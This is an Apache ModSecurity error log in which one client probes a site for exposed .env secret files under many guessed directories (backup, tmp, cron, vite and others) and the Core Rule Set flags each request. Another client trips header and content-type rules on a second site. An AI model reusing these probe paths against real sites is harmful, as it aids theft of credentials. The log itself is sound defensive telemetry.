[Fri Jul 17 09:26:12.695255 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/angular/.env"] [unique_id "almn3Ie39YUk0SgV8AU_qQAAABE"]
[Fri Jul 17 09:26:12.695666 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/angular/.env"] [unique_id "almn3Ie39YUk0SgV8AU_qQAAABE"]
[Fri Jul 17 09:26:12.865109 2026] [security2:error] [pid 1993671:tid 1993671] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/hp-printers-and-scanners"] [unique_id "almn3A5GPQ6hs4VrfMpHqgAAAAY"]
[Fri Jul 17 09:26:12.865229 2026] [security2:error] [pid 1993671:tid 1993671] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/hp-printers-and-scanners"] [unique_id "almn3A5GPQ6hs4VrfMpHqgAAAAY"]
[Fri Jul 17 09:26:12.865594 2026] [security2:error] [pid 1993671:tid 1993671] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/printers-scanners/hp-printers-and-scanners"] [unique_id "almn3A5GPQ6hs4VrfMpHqgAAAAY"]
[Fri Jul 17 09:26:12.876154 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /svelte/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/svelte/.env"] [unique_id "almn3FCBpfuYyhJ140vYKgAAAB4"]
[Fri Jul 17 09:26:12.876415 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/svelte/.env"] [unique_id "almn3FCBpfuYyhJ140vYKgAAAB4"]
[Fri Jul 17 09:26:12.876811 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/svelte/.env"] [unique_id "almn3FCBpfuYyhJ140vYKgAAAB4"]
[Fri Jul 17 09:26:13.045796 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /vite/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/vite/.env"] [unique_id "almn3RHlOGcokz2QIwTYvAAAAAM"]
[Fri Jul 17 09:26:13.046061 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/vite/.env"] [unique_id "almn3RHlOGcokz2QIwTYvAAAAAM"]
[Fri Jul 17 09:26:13.046411 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/vite/.env"] [unique_id "almn3RHlOGcokz2QIwTYvAAAAAM"]
[Fri Jul 17 09:26:13.161189 2026] [security2:error] [pid 1993671:tid 1993671] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn3A5GPQ6hs4VrfMpHqgAAAAY"]
[Fri Jul 17 09:26:13.208792 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/backup/.env"] [unique_id "almn3bEWOaI5pmYo9fnUUAAAAAA"]
[Fri Jul 17 09:26:13.209051 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/backup/.env"] [unique_id "almn3bEWOaI5pmYo9fnUUAAAAAA"]
[Fri Jul 17 09:26:13.209474 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/backup/.env"] [unique_id "almn3bEWOaI5pmYo9fnUUAAAAAA"]
[Fri Jul 17 09:26:13.372637 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backups/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/backups/.env"] [unique_id "almn3fwooI4qY7Jg93pa3AAAABM"]
[Fri Jul 17 09:26:13.372911 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/backups/.env"] [unique_id "almn3fwooI4qY7Jg93pa3AAAABM"]
[Fri Jul 17 09:26:13.373297 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/backups/.env"] [unique_id "almn3fwooI4qY7Jg93pa3AAAABM"]
[Fri Jul 17 09:26:13.393401 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:13.474662 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:54842] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:13.571704 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/old/.env"] [unique_id "almn3bEWOaI5pmYo9fnUUQAAAAA"]
[Fri Jul 17 09:26:13.572096 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/old/.env"] [unique_id "almn3bEWOaI5pmYo9fnUUQAAAAA"]
[Fri Jul 17 09:26:13.572626 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/old/.env"] [unique_id "almn3bEWOaI5pmYo9fnUUQAAAAA"]
[Fri Jul 17 09:26:13.739130 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/tmp/.env"] [unique_id "almn3boj0IkvhSCYadmHdQAAAAQ"]
[Fri Jul 17 09:26:13.739446 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/tmp/.env"] [unique_id "almn3boj0IkvhSCYadmHdQAAAAQ"]
[Fri Jul 17 09:26:13.739912 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/tmp/.env"] [unique_id "almn3boj0IkvhSCYadmHdQAAAAQ"]
[Fri Jul 17 09:26:13.907990 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /temp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/temp/.env"] [unique_id "almn3Yl9vhFBGA6D8l9_xAAAAAw"]
[Fri Jul 17 09:26:13.908274 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/temp/.env"] [unique_id "almn3Yl9vhFBGA6D8l9_xAAAAAw"]
[Fri Jul 17 09:26:13.910921 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/temp/.env"] [unique_id "almn3Yl9vhFBGA6D8l9_xAAAAAw"]
[Fri Jul 17 09:26:13.961958 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:14.095187 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/lab/.env"] [unique_id "almn3vwooI4qY7Jg93pa3gAAABM"]
[Fri Jul 17 09:26:14.095490 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/lab/.env"] [unique_id "almn3vwooI4qY7Jg93pa3gAAABM"]
[Fri Jul 17 09:26:14.095917 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/lab/.env"] [unique_id "almn3vwooI4qY7Jg93pa3gAAABM"]
[Fri Jul 17 09:26:14.100455 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:14.199249 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:14.261301 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/cronlab/.env"] [unique_id "almn3oe39YUk0SgV8AU_rQAAABE"]
[Fri Jul 17 09:26:14.261577 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/cronlab/.env"] [unique_id "almn3oe39YUk0SgV8AU_rQAAABE"]
[Fri Jul 17 09:26:14.261951 2026] [security2:error] [pid 2030804:tid 2030804] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/cronlab/.env"] [unique_id "almn3oe39YUk0SgV8AU_rQAAABE"]
[Fri Jul 17 09:26:14.306916 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:14.364451 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/jolimark-printers-and-scanners"] [unique_id "almn3lh1WDijTxd1xw5R2AAAAAc"]
[Fri Jul 17 09:26:14.364585 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/jolimark-printers-and-scanners"] [unique_id "almn3lh1WDijTxd1xw5R2AAAAAc"]
[Fri Jul 17 09:26:14.364907 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/printers-scanners/jolimark-printers-and-scanners"] [unique_id "almn3lh1WDijTxd1xw5R2AAAAAc"]
[Fri Jul 17 09:26:14.387241 2026] [ssl:error] [pid 2030955:tid 2030955] (5)Input/output error: [client 66.85.158.91:54986] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:14.465927 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/cron/.env"] [unique_id "almn3ol9vhFBGA6D8l9_xgAAAAw"]
[Fri Jul 17 09:26:14.466403 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/cron/.env"] [unique_id "almn3ol9vhFBGA6D8l9_xgAAAAw"]
